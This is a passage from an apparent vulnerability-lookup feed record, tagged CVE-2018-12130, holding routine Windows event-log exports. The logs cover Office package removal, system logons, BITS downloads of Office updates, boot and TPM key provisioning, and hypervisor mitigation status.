deprovisioned\tInformation\tMicrosoft-Windows-Privacy-Auditing/Operational\tMicrosoft-Windows-Privacy-Auditing\n05.09.2026 09:16:53.054\t2415\tAn application was unregistered with the following parameters: Microsoft.Office.ActionsServer_8wekyb3d8bbwe!Microsoft.Office.ActionsServer [AppUserModelId] The operation completed successfully. [ErrorCode]\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:16:53.061\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:53.061\t617\tSuccessfully updated the status for package Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe and user S-1-5-21-3712849175-2219398513-4278588552-1006 (Clear=0xFFFFFFFF, Set=0x0).\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:53.066\t41\tSuccessfully deleted AppContainer Microsoft.Office.ActionsServer_8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:16:53.091\t2562\t\tInformation\tApplication\tMicrosoft-Windows-AppXDeploymentServer/Operational\n05.09.2026 09:16:53.131\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:53.134\t818\tDetermining packages to be installed during logon for user: S-1-5-21-3712849175-2219398513-4278588552-1006.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:53.138\t400\tDeployment Remove operation with target volume C: on Package Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe from:  (Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe)  finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:53.141\t472\tMoving package folder \\\\?\\C:\\Program Files\\WindowsApps\\Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe to \\\\?\\C:\\Program Files\\WindowsApps\\Deleted\\Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe21e230d2-de2e-443e-8514-9c932ad21344. Result: 0x0.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:53.152\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:54.669\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:16:54.672\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:16:56.928\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:16:56.928\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:16:56.965\t7040\tThe start type of the \u0424\u043e\u043d\u043e\u0432\u0430\u044f \u0438\u043d\u0442\u0435\u043b\u043b\u0435\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u0430\u044f \u0441\u043b\u0443\u0436\u0431\u0430 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 (BITS) service was changed from \u0412\u0440\u0443\u0447\u043d\u0443\u044e to \u0410\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438.\tInformation\tSystem\tService Control Manager\n05.09.2026 09:16:56.975\t306\tThe BITS service loaded the job list from disk.\tVerbose\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:16:56.980\t145\tWSMan operation Enumeration started with resourceUri http://schemas.microsoft.com/wbem/wsman/1/config/listener\tInformation\tMicrosoft-Windows-WinRM/Operational\tMicrosoft-Windows-WinRM\n05.09.2026 09:16:57.771\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:00.107\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:01.067\t254\tActivity Transfer\tInformation\tMicrosoft-Windows-WinRM/Operational\tMicrosoft-Windows-WinRM\n05.09.2026 09:17:01.067\t161\t\u041a\u043b\u0438\u0435\u043d\u0442\u0443 \u043d\u0435 \u0443\u0434\u0430\u0435\u0442\u0441\u044f \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0442\u044c\u0441\u044f \u043a \u0443\u0437\u043b\u0443 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f, \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u043e\u043c\u0443 \u0432 \u0437\u0430\u043f\u0440\u043e\u0441\u0435. \u0423\u0431\u0435\u0434\u0438\u0442\u0435\u0441\u044c, \u0447\u0442\u043e \u0441\u043b\u0443\u0436\u0431\u0430 \u043d\u0430 \u0443\u0437\u043b\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0438 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0437\u0430\u043f\u0440\u043e\u0441\u044b. \u041e\u0437\u043d\u0430\u043a\u043e\u043c\u044c\u0442\u0435\u0441\u044c \u0441 \u0436\u0443\u0440\u043d\u0430\u043b\u0430\u043c\u0438 \u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0435\u0439 \u0434\u043b\u044f \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f \u0437\u0430\u043f\u0443\u0449\u0435\u043d\u043d\u043e\u0439 \u043d\u0430 \u0443\u0437\u043b\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0441\u043b\u0443\u0436\u0431\u044b WS-Management (\u0447\u0430\u0449\u0435 \u0432\u0441\u0435\u0433\u043e \u044d\u0442\u043e IIS \u0438\u043b\u0438 WinRM). \u0415\u0441\u043b\u0438 \u044d\u0442\u043e \u0441\u043b\u0443\u0436\u0431\u0430 WinRM, \u0442\u043e \u0434\u043b\u044f \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f \u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u044d\u0442\u043e\u0439 \u0441\u043b\u0443\u0436\u0431\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 \u043d\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c \u0443\u0437\u043b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \"winrm quickconfig\".\tError\tMicrosoft-Windows-WinRM/Operational\tMicrosoft-Windows-WinRM\n05.09.2026 09:17:01.067\t142\tWSMan operation Enumeration failed, error code 2150858770\tError\tMicrosoft-Windows-WinRM/Operational\tMicrosoft-Windows-WinRM\n05.09.2026 09:17:01.102\t4799\t\"A security-enabled local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nGroup:\n\tSecurity ID:\t\tS-1-5-32-544\n\tGroup Name:\t\t\u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u044b\n\tGroup Domain:\t\tBuiltin\n\nProcess Information:\n\tProcess ID:\t\t0x379c\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:17:01.103\t4799\t\"A security-enabled local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nGroup:\n\tSecurity ID:\t\tS-1-5-32-551\n\tGroup Name:\t\t\u041e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u044b \u0430\u0440\u0445\u0438\u0432\u0430\n\tGroup Domain:\t\tBuiltin\n\nProcess Information:\n\tProcess ID:\t\t0x379c\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:17:01.259\t3\t\"The BITS service created a new job.\nTransfer job: Microsoft Office Click-to-Run\nJob ID: {38a663b2-655a-4099-b6b9-05b5586514e3}\nOwner: HONOR-FRG-X\\admin\nProcess Path: C:\\Users\\admin\\AppData\\Local\\Temp\\Setup055E06B0-880E-4FE1-969E-58992B5940F0\\setup.exe\nProcess ID: 19332\"\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.268\t16403\t\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.465\t310\tThe initialization of the peer helper modules failed with the following error:  0x80070032.\tWarning\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.475\t59\tBITS started the Microsoft Office Click-to-Run transfer job that is associated with the http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v64_16.0.20326.20132.cab URL.\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.581\t60\tBITS stopped transferring the Microsoft Office Click-to-Run transfer job that is associated with the http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v64_16.0.20326.20132.cab URL. The status code is 0x0.\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.583\t4\t\"The transfer job is complete.\nUser: HONOR-FRG-X\\admin\nTransfer job: Microsoft Office Click-to-Run\nJob ID: {38a663b2-655a-4099-b6b9-05b5586514e3}\nOwner: HONOR-FRG-X\\admin\nFile count: 1\"\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.586\t3\t\"The BITS service created a new job.\nTransfer job: Microsoft Office Click-to-Run\nJob ID: {6f42b80d-7019-4f62-b47c-c9cc61bf79ee}\nOwner: HONOR-FRG-X\\admin\nProcess Path: C:\\Users\\admin\\AppData\\Local\\Temp\\Setup055E06B0-880E-4FE1-969E-58992B5940F0\\setup.exe\nProcess ID: 19332\"\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.590\t16403\t\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.697\t59\tBITS started the Microsoft Office Click-to-Run transfer job that is associated with the http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v64_16.0.20326.20132.cab URL.\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.856\t60\tBITS stopped transferring the Microsoft Office Click-to-Run transfer job that is associated with the http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v64_16.0.20326.20132.cab URL. The status code is 0x0.\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.858\t4\t\"The transfer job is complete.\nUser: HONOR-FRG-X\\admin\nTransfer job: Microsoft Office Click-to-Run\nJob ID: {6f42b80d-7019-4f62-b47c-c9cc61bf79ee}\nOwner: HONOR-FRG-X\\admin\nFile count: 1\"\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:02.444\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:17.018\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:25.037\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:26.473\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:31.143\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:34.478\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:36.378\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:36.932\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:37.822\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:38.934\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:44.280\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:44.834\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:45.806\t8001\t\"Skipping license manager: PFN Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:17:45.820\t8001\t\"Skipping license manager: PFN Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:17:45.821\t219\tPSMFlags for Desktop AppX process %1 with applicationID %2 is %3.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:17:45.855\t210\tCreated Desktop AppX container {245CDFFE-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:17:45.855\t211\tAdded process 16932 to Desktop AppX container 245cdffe-a8c9-11f1-b7ff-289200f24a99 for package Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:17:45.857\t201\tCreated process 16932 for application Microsoft.ScreenSketch_8wekyb3d8bbwe!App in package Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe. [LaunchProcess]\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:17:46.353\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:46.358\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"SnippingTool\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:51.490\t3055\tSome toast notifications have been cleared - informed session 1.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:17:51.512\t2416\tA local notification was received from Microsoft.ScreenSketch_8wekyb3d8bbwe!App [AppUserModelId] with a 0 [NotificationId] through an application endpoint.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:17:51.518\t2418\tA local notification was submitted to threadpool: Microsoft.ScreenSketch_8wekyb3d8bbwe!App [AppUserModelId] toast [NotificationType] 9403 [NotificationTrackingId] Local [NotificationSource].\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:17:51.523\t3052\tToast with notification tracking id 9403 is being delivered to Microsoft.ScreenSketch_8wekyb3d8bbwe!App on session 1.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:17:51.527\t3153\tToast with notification tracking id 9403 is delivered to Microsoft.ScreenSketch_8wekyb3d8bbwe!App on session 1.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:17:51.658\t3049\tEndpoint 0x0 is being cleanedup\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n", "vulnerability": "CVE-2018-12130", "author": {"login": "automation"}}, {"uuid": "33fc5125-fc67-40ba-985e-56def5d475b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T08:58:37.956830+00:00", "type": "seen", "source": "https://gist.github.com/fgh130/1e11ee6c9642a5411cad5d6858526fc7", "content": "Event Time\tEvent ID\tDescription\tLevel\tChannel\tProvider\n05.09.2026 08:28:48.091\t12\tThe operating system started at system time \u200e2026\u200e-\u200e09\u200e-\u200e05T01:28:47.500000000Z.\tInformation\tSystem\tMicrosoft-Windows-Kernel-General\n05.09.2026 08:28:48.091\t25\t\"The system time was initialized to \u200e2026\u200e-\u200e09\u200e-\u200e05T01:28:47.500000000Z. \n\nLoader time: \u200e2026\u200e-\u200e09\u200e-\u200e05T01:28:46.000000000Z\nInternal boot flags: 0x2\nHAL RTC error code: 0x0\nRTC time is in UTC: false\nSoft boot: false\nSuccess: true\nPhase: 0\"\tInformation\tSystem\tMicrosoft-Windows-Kernel-General\n05.09.2026 08:28:48.091\t153\tVirtualization-based security (policies: VBS Enabled,VSM Required,Boot Chain Signer Soft Enforced) is enabled due to HyperV.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t82\tTrace point: Function:SipaInsertTcgLog Point:0 Status:STATUS_SUCCESS\tInformation\tMicrosoft-Windows-Kernel-Boot/Operational\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t18\tThere are 0x1 boot options on this system.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t32\tThe bootmgr spent 0 ms waiting for user input.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t20\tThe last shutdown's success status was true. The last boot's success status was true.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t39\tHypervisor Load Options -  IGNOREMEMPART=1 .\tInformation\tMicrosoft-Windows-Hyper-V-Hypervisor-Admin\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.091\t156\tHypervisor initial page allocation NUMA policy: Proportional NUMA distribution\tInformation\tMicrosoft-Windows-Hyper-V-Hypervisor-Admin\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.091\t238\tEFI time zone bias: 2047. Daylight flags: 0. Firmware time: \u200e2026\u200e-\u200e09\u200e-\u200e05T08:28:46.000000000Z.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t85\t\"Read and Unseal Master Key Array Package Status\n\nStatus: STATUS_SUCCESS\nPrimarySealedBlobName: VsmLocalKey2\nSecondaryProtectorVariableName: VsmLocalKeyProtector\nBlobFromUefiVariableSize: 723\nUefiContentIsSealed: 1\nUnsealedBlobSize: 210\nPcr7SealingUsed: 1\nPkgTpmSealMaskLocal: 0x880\nPkgTpmCreationMaskLocal: 0x880\nNeedToResealKeyPkg: 0\nNeedToResealBackup: 0\nNeedToResealPca2023Backup: 0\nPlaintextBlobSize: 210\nPlaintextIsLegacyFormat: 0\nUefiBlobIsCorrupt: 0\nNewKeyID: 0\nVerifiedMicrosoftAuthority: 0\nContainsAuthorityData: 0\nBootmgrAuthorityEventCount: 0\nAuthority: 2\n\nSubstatus\n\nPrimaryBlobUnsealStatus: STATUS_SUCCESS\nBackupBlobUnsealStatus: STATUS_WAIT_1\nPca2023ProtectorUnsealStatus: STATUS_WAIT_1\nBackupBlobValidityCheckStatus: {Object Exists}\nAn attempt was made to create an object and the object name already existed.\nBackupBlobStillValid: true\nPca2023ProtectorValidityCheckStatus: STATUS_WAIT_1\nPca2023ProtectorStillValid: false\nPrimaryBlobResealStatus: STATUS_WAIT_1\nBackupBlobResealStatus: STATUS_WAIT_1\nPca2023ProtectorResealStatus: STATUS_WAIT_1\nV2ProtectorsUsed: 0\nLegacyUefiVarQueryStatus: STATUS_WAIT_1\nLegacyUefiVarCleanupStatus: STATUS_WAIT_1\nActivePolicyVersion: 0\nLatchedPolicyVersion: 0\nUnlatchedPolicyVersion: 0\n\"\tInformation\tMicrosoft-Windows-Kernel-Boot/Operational\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t80\tFASR Platform Verification. FASR cert present: 0. FASR cert signature validation status: 0x1. BootmgrAuthorityEventCount: 0x1. VerifiedMicrosoftAuthority: 1. FASR PCR values validation status: 0x1. PCR mismatch index: -1. FASR cert size: 0. FASR cert: . FASR signature size: 0. FASR signature: .\tInformation\tMicrosoft-Windows-Kernel-Boot/Operational\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t51\tVSM Master Encryption Key Provisioning. Using cached copy status: 0x0. Primary Blob Unseal Status: 0x0. Backup Blob Unseal Status: 0x1. Pca2023 Protector Unseal Status: 0x1. LostOemPk Protector Unseal Status: 0x1. Backup Blob Validity Check Status: 0x40000000. Backup Blob Validity Check Result: true. Pca2023 Protector Validity Check Status: 0x1. Pca2023 Protector Validity Check Result: false. Primary Blob Reseal Status: 0x1. Backup Blob Reseal Status: 0x1. Pca2023 Protector Reseal Status: 0x1. New key generation status: 0x1. Sealing status: 0x1. TPM PCR mask: 0x880. Tpm Counter validation status: 0x2. Tpm Counter creation status: 0x1. Backup sealed blob used: false. Pca2023 Protector cleaned up post upgrade status: 0x1.\tInformation\tMicrosoft-Windows-Kernel-Boot/Operational\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t45\tVSM Identity Key Provisioning. Unsealing cached copy status: 0xC0280018. New key generation status: 0x0. Measuring to PCR status: 0x0. Sealing and caching status: 0x0.\tInformation\tMicrosoft-Windows-Kernel-Boot/Operational\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t25\tThe boot menu policy was 0x1.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t27\tThe boot type was 0x0.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.099\t1\tHypervisor successfully started.\tInformation\tSystem\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.099\t2\tHypervisor scheduler type is 0x4.\tInformation\tSystem\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.099\t129\t\"Hypervisor initialized I/O remapping.\n\nHardware present: true\nHardware enabled: true\nPolicy: 0x0\nEnabled features: 0x63\nInternal information: 0x0\nProblems: 0x0\nAdditional information: 0x0\"\tInformation\tSystem\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.099\t156\t\"Hypervisor configured mitigations for CVE-2018-3646 for virtual machines.\n\nProcessor not affected: true\nProcessor family not affected: false\nProcessor supports cache flush: true\nHyperThreading enabled: false\nParent hypervisor applies mitigations: false\nMitigations disabled by 